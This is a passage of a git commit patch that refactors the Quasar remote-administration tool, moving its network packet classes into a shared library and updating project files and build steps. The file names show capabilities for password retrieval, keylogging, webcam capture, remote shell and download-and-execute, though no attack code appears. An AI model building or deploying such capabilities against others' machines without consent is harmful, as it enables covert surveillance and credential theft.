delete mode 100644 Client/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetStartupItemsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetSystemInfoResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetWebcamResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/GetWebcamsResponse.cs delete mode 100644 Client/Core/Packets/ClientPackets/SetStatus.cs delete mode 100644 Client/Core/Packets/ClientPackets/SetStatusFileManager.cs delete mode 100644 Client/Core/Packets/ClientPackets/SetUserStatus.cs delete mode 100644 Client/Core/Packets/IPacket.cs delete mode 100644 Client/Core/Packets/PacketHandler.cs delete mode 100644 Client/Core/Packets/PacketRegistery.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoAskElevate.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoChangeRegistryValue.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoClientDisconnect.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoClientReconnect.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoClientUninstall.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoClientUpdate.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoCloseConnection.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoCreateRegistryKey.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoCreateRegistryValue.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoDownloadAndExecute.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoDownloadFile.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoDownloadFileCancel.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoKeyboardEvent.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoLoadRegistryKey.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoMouseEvent.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoPathDelete.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoPathRename.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoProcessKill.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoProcessStart.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoRenameRegistryKey.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoRenameRegistryValue.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoShellExecute.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoShowMessageBox.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoShutdownAction.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoStartupItemAdd.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoStartupItemRemove.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoUploadAndExecute.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoUploadFile.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoVisitWebsite.cs delete mode 100644 Client/Core/Packets/ServerPackets/DoWebcamStop.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetAuthentication.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetConnections.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetDesktop.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetDirectory.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetDrives.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetKeyloggerLogs.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetMonitors.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetPasswords.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetProcesses.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetStartupItems.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetSystemInfo.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetWebcam.cs delete mode 100644 Client/Core/Packets/ServerPackets/GetWebcams.cs delete mode 100644 Client/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs delete mode 100644 Client/Core/Registry/RegSeekerMatch.cs delete mode 100644 Client/Core/Registry/RegValueData.cs delete mode 100644 Client/Core/ReverseProxy/Packets/ReverseProxyConnect.cs delete mode 100644 Client/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs delete mode 100644 Client/Core/ReverseProxy/Packets/ReverseProxyData.cs delete mode 100644 Client/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs delete mode 100644 Client/Enums/MouseAction.cs delete mode 100644 Client/Enums/PathType.cs delete mode 100644 Client/Enums/ShutdownAction.cs delete mode 100644 Client/Enums/UserStatus.cs rename {Server => Quasar.Common}/Enums/MouseAction.cs (84%) rename {Server => Quasar.Common}/Enums/PathType.cs (72%) rename {Server => Quasar.Common}/Enums/ShutdownAction.cs (74%) rename {Server => Quasar.Common}/Enums/UserStatus.cs (68%) create mode 100644 Quasar.Common/NativeMethods.cs create mode 100644 Quasar.Common/Packets/DoAskElevate.cs create mode 100644 Quasar.Common/Packets/DoChangeRegistryValue.cs create mode 100644 Quasar.Common/Packets/DoClientDisconnect.cs create mode 100644 Quasar.Common/Packets/DoClientReconnect.cs create mode 100644 Quasar.Common/Packets/DoClientUninstall.cs create mode 100644 Quasar.Common/Packets/DoClientUpdate.cs create mode 100644 Quasar.Common/Packets/DoCloseConnection.cs create mode 100644 Quasar.Common/Packets/DoCreateRegistryKey.cs create mode 100644 Quasar.Common/Packets/DoCreateRegistryValue.cs create mode 100644 Quasar.Common/Packets/DoDeleteRegistryKey.cs create mode 100644 Quasar.Common/Packets/DoDeleteRegistryValue.cs create mode 100644 Quasar.Common/Packets/DoDownloadAndExecute.cs create mode 100644 Quasar.Common/Packets/DoDownloadFile.cs create mode 100644 Quasar.Common/Packets/DoDownloadFileCancel.cs create mode 100644 Quasar.Common/Packets/DoDownloadFileResponse.cs create mode 100644 Quasar.Common/Packets/DoKeyboardEvent.cs create mode 100644 Quasar.Common/Packets/DoLoadRegistryKey.cs create mode 100644 Quasar.Common/Packets/DoMouseEvent.cs create mode 100644 Quasar.Common/Packets/DoPathDelete.cs create mode 100644 Quasar.Common/Packets/DoPathRename.cs create mode 100644 Quasar.Common/Packets/DoProcessKill.cs create mode 100644 Quasar.Common/Packets/DoProcessStart.cs create mode 100644 Quasar.Common/Packets/DoRenameRegistryKey.cs create mode 100644 Quasar.Common/Packets/DoRenameRegistryValue.cs create mode 100644 Quasar.Common/Packets/DoShellExecute.cs create mode 100644 Quasar.Common/Packets/DoShellExecuteResponse.cs create mode 100644 Quasar.Common/Packets/DoShowMessageBox.cs create mode 100644 Quasar.Common/Packets/DoShutdownAction.cs create mode 100644 Quasar.Common/Packets/DoStartupItemAdd.cs create mode 100644 Quasar.Common/Packets/DoStartupItemRemove.cs create mode 100644 Quasar.Common/Packets/DoUploadAndExecute.cs create mode 100644 Quasar.Common/Packets/DoUploadFile.cs create mode 100644 Quasar.Common/Packets/DoVisitWebsite.cs create mode 100644 Quasar.Common/Packets/DoWebcamStop.cs create mode 100644 Quasar.Common/Packets/GetAuthentication.cs create mode 100644 Quasar.Common/Packets/GetAuthenticationResponse.cs create mode 100644 Quasar.Common/Packets/GetChangeRegistryValueResponse.cs create mode 100644 Quasar.Common/Packets/GetConnections.cs create mode 100644 Quasar.Common/Packets/GetConnectionsResponse.cs create mode 100644 Quasar.Common/Packets/GetCreateRegistryKeyResponse.cs create mode 100644 Quasar.Common/Packets/GetCreateRegistryValueResponse.cs create mode 100644 Quasar.Common/Packets/GetDeleteRegistryKeyResponse.cs create mode 100644 Quasar.Common/Packets/GetDeleteRegistryValueResponse.cs create mode 100644 Quasar.Common/Packets/GetDesktop.cs create mode 100644 Quasar.Common/Packets/GetDesktopResponse.cs create mode 100644 Quasar.Common/Packets/GetDirectory.cs create mode 100644 Quasar.Common/Packets/GetDirectoryResponse.cs create mode 100644 Quasar.Common/Packets/GetDrives.cs create mode 100644 Quasar.Common/Packets/GetDrivesResponse.cs create mode 100644 Quasar.Common/Packets/GetKeyloggerLogs.cs create mode 100644 Quasar.Common/Packets/GetKeyloggerLogsResponse.cs create mode 100644 Quasar.Common/Packets/GetMonitors.cs create mode 100644 Quasar.Common/Packets/GetMonitorsResponse.cs create mode 100644 Quasar.Common/Packets/GetPasswords.cs create mode 100644 Quasar.Common/Packets/GetPasswordsResponse.cs create mode 100644 Quasar.Common/Packets/GetProcesses.cs create mode 100644 Quasar.Common/Packets/GetProcessesResponse.cs create mode 100644 Quasar.Common/Packets/GetRegistryKeysResponse.cs create mode 100644 Quasar.Common/Packets/GetRenameRegistryKeyResponse.cs create mode 100644 Quasar.Common/Packets/GetRenameRegistryValueResponse.cs create mode 100644 Quasar.Common/Packets/GetStartupItems.cs create mode 100644 Quasar.Common/Packets/GetStartupItemsResponse.cs create mode 100644 Quasar.Common/Packets/GetSystemInfo.cs create mode 100644 Quasar.Common/Packets/GetSystemInfoResponse.cs create mode 100644 Quasar.Common/Packets/GetWebcam.cs create mode 100644 Quasar.Common/Packets/GetWebcamResponse.cs create mode 100644 Quasar.Common/Packets/GetWebcams.cs create mode 100644 Quasar.Common/Packets/GetWebcamsResponse.cs create mode 100644 Quasar.Common/Packets/IPacket.cs create mode 100644 Quasar.Common/Packets/PacketRegistery.cs create mode 100644 Quasar.Common/Packets/ReverseProxyConnect.cs create mode 100644 Quasar.Common/Packets/ReverseProxyConnectResponse.cs create mode 100644 Quasar.Common/Packets/ReverseProxyData.cs create mode 100644 Quasar.Common/Packets/ReverseProxyDisconnect.cs create mode 100644 Quasar.Common/Packets/SetAuthenticationSuccess.cs create mode 100644 Quasar.Common/Packets/SetStatus.cs create mode 100644 Quasar.Common/Packets/SetStatusFileManager.cs create mode 100644 Quasar.Common/Packets/SetUserStatus.cs create mode 100644 Quasar.Common/Properties/AssemblyInfo.cs create mode 100644 Quasar.Common/Quasar.Common.csproj create mode 100644 Quasar.Common/Registry/RegSeekerMatch.cs create mode 100644 Quasar.Common/Registry/RegValueData.cs rename {Client/Core/Utilities => Quasar.Common/Video/Codecs}/UnsafeStreamCodec.cs (98%) rename {Client/Core => Quasar.Common/Video}/Compression/JpgCompression.cs (97%) create mode 100644 Quasar.Common/Video/Resolution.cs create mode 100644 Quasar.Common/packages.config delete mode 100644 Server.Tests/Core/Packet/Packet.Tests.cs delete mode 100644 Server/Core/Compression/JpgCompression.cs delete mode 100644 Server/Core/NetSerializer/CodeGenContext.cs delete mode 100644 Server/Core/NetSerializer/Helpers.cs delete mode 100644 Server/Core/NetSerializer/ITypeSerializer.cs delete mode 100644 Server/Core/NetSerializer/Primitives.cs delete mode 100644 Server/Core/NetSerializer/Serializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/ArraySerializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/DictionarySerializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/EnumSerializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/GenericSerializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/ObjectSerializer.cs delete mode 100644 Server/Core/NetSerializer/TypeSerializers/PrimitivesSerializer.cs create mode 100644 Server/Core/Networking/PacketHandler.cs delete mode 100644 Server/Core/Packets/ClientPackets/DoDownloadFileResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/DoShellExecuteResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetAuthenticationResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetChangeRegistryValueResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetConnectionsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetCreateRegistryKeyResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetCreateRegistryValueResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetDeleteRegistryKeyResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetDeleteRegistryValueResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetDesktopResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetDirectoryResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetDrivesResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetKeyloggerLogsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetMonitorsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetPasswordsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetProcessesResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetRegistryKeysResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetRenameRegistryKeyResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetRenameRegistryValueResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetStartupItemsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetSystemInfoResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetWebcamResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/GetWebcamsResponse.cs delete mode 100644 Server/Core/Packets/ClientPackets/SetStatus.cs delete mode 100644 Server/Core/Packets/ClientPackets/SetStatusFileManager.cs delete mode 100644 Server/Core/Packets/ClientPackets/SetUserStatus.cs delete mode 100644 Server/Core/Packets/IPacket.cs delete mode 100644 Server/Core/Packets/PacketHandler.cs delete mode 100644 Server/Core/Packets/PacketRegistery.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoAskElevate.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoChangeRegistryValue.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoClientDisconnect.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoClientReconnect.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoClientUninstall.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoClientUpdate.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoCloseConnection.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoCreateRegistryKey.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoCreateRegistryValue.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoDeleteRegistryKey.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoDeleteRegistryValue.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoDownloadAndExecute.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoDownloadFile.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoDownloadFileCancel.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoKeyboardEvent.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoLoadRegistryKey.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoMouseEvent.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoPathDelete.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoPathRename.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoProcessKill.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoProcessStart.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoRenameRegistryKey.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoRenameRegistryValue.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoShellExecute.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoShowMessageBox.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoShutdownAction.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoStartupItemAdd.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoStartupItemRemove.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoUploadAndExecute.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoUploadFile.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoVisitWebsite.cs delete mode 100644 Server/Core/Packets/ServerPackets/DoWebcamStop.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetAuthentication.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetConnections.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetDesktop.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetDirectory.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetDrives.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetKeyloggerLogs.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetMonitors.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetPasswords.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetProcesses.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetStartupItems.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetSystemInfo.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetWebcam.cs delete mode 100644 Server/Core/Packets/ServerPackets/GetWebcams.cs delete mode 100644 Server/Core/Packets/ServerPackets/SetAuthenticationSuccess.cs delete mode 100644 Server/Core/Registry/RegSeekerMatch.cs delete mode 100644 Server/Core/Registry/RegValueData.cs delete mode 100644 Server/Core/ReverseProxy/Packets/ReverseProxyConnect.cs delete mode 100644 Server/Core/ReverseProxy/Packets/ReverseProxyConnectResponse.cs delete mode 100644 Server/Core/ReverseProxy/Packets/ReverseProxyData.cs delete mode 100644 Server/Core/ReverseProxy/Packets/ReverseProxyDisconnect.cs delete mode 100644 Server/Core/Utilities/UnsafeStreamCodec.cs diff --git a/Client.Tests/Client.Tests.csproj b/Client.Tests/Client.Tests.csproj index ccaf0a88c..d4324c6c2 100644 --- a/Client.Tests/Client.Tests.csproj +++ b/Client.Tests/Client.Tests.csproj @@ -58,7 +58,6 @@ - @@ -66,6 +65,10 @@ {9f5cf56a-ddb2-4f40-ab99-2a1dc47588e1} Client + + {C7C363BA-E5B6-4E18-9224-39BC8DA73172} + Quasar.Common + diff --git a/Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Client.Tests/Core/Compression/JpgCompression.Tests.cs index ecd9b3057..7a936cc7b 100644 --- a/Client.Tests/Core/Compression/JpgCompression.Tests.cs +++ b/Client.Tests/Core/Compression/JpgCompression.Tests.cs @@ -1,6 +1,7 @@ using System; using System.Drawing; using Microsoft.VisualStudio.TestTools.UnitTesting; +using Quasar.Common.Video.Compression; using xClient.Core.Compression; namespace xClient.Tests.Core.Compression diff --git a/Client.Tests/Core/Packet/Packet.Tests.cs b/Client.Tests/Core/Packet/Packet.Tests.cs deleted file mode 100644 index 9a167645c..000000000 --- a/Client.Tests/Core/Packet/Packet.Tests.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; -using Microsoft.VisualStudio.TestTools.UnitTesting; -using System.Reflection; -using System.Linq; -using xClient.Core.Packets; - -namespace xClient.Tests.Core.Packet -{ - [TestClass] - public class PacketTest - { - [TestMethod] - public void AreAllPacketsRegistered() - { - var asm = Assembly.Load("Client"); - var expectedPacketTypes = asm.GetTypes().Where(t => t.GetInterfaces().Contains(typeof(IPacket)) && t.GetCustomAttributes(typeof(SerializableAttribute), false).Any()).ToArray(); - var registeredPackets = PacketRegistery.GetPacketTypes(); - CollectionAssert.AreEquivalent(expectedPacketTypes, registeredPackets); - } - } -} diff --git a/Client/Client.csproj b/Client/Client.csproj index 3f0f0100a..ac4e203e3 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -47,11 +47,16 @@ ..\packages\MouseKeyHook.5.6.0\lib\net40\Gma.System.MouseKeyHook.dll + + ..\packages\protobuf-net.2.3.17\lib\net40\protobuf-net.dll + + + @@ -110,17 +115,6 @@ - - - - - - - - - - - @@ -132,88 +126,18 @@ + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - @@ -224,26 +148,10 @@ - - - - - - - - - - - - - - - - @@ -269,17 +177,20 @@ True - + + + {c7c363ba-e5b6-4e18-9224-39bc8da73172} + Quasar.Common + + copy "$(TargetPath)" "$(TargetDir)client.bin" /Y cp "$(TargetPath)" "$(TargetDir)client.bin" - "$(SolutionDir)packages\ILMerge.2.14.1208\tools\ILMerge.exe" /out:"$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" "$(TargetDir)Gma.System.MouseKeyHook.dll" /target:WinExe /wildcards /internalize -copy "$(TargetDir)$(TargetName).all.exe" "$(TargetDir)client.bin" /Y -copy "$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" /Y -del "$(TargetDir)$(TargetName).all.exe" + "$(SolutionDir)packages\ILMerge.2.14.1208\tools\ILMerge.exe" /out:"$(TargetDir)$(TargetName).all.exe" "$(TargetPath)" "$(TargetDir)Gma.System.MouseKeyHook.dll" "$(TargetDir)Quasar.Common.dll" /target:WinExe /wildcards /internalize +copy "$(TargetDir)$(TargetName).all.exe" "$(TargetDir)client.bin" /Y IProgress{T} in System namespace + public abstract class MessageProcessorBase : IMessageProcessor, IProgress, IDisposable + { + ///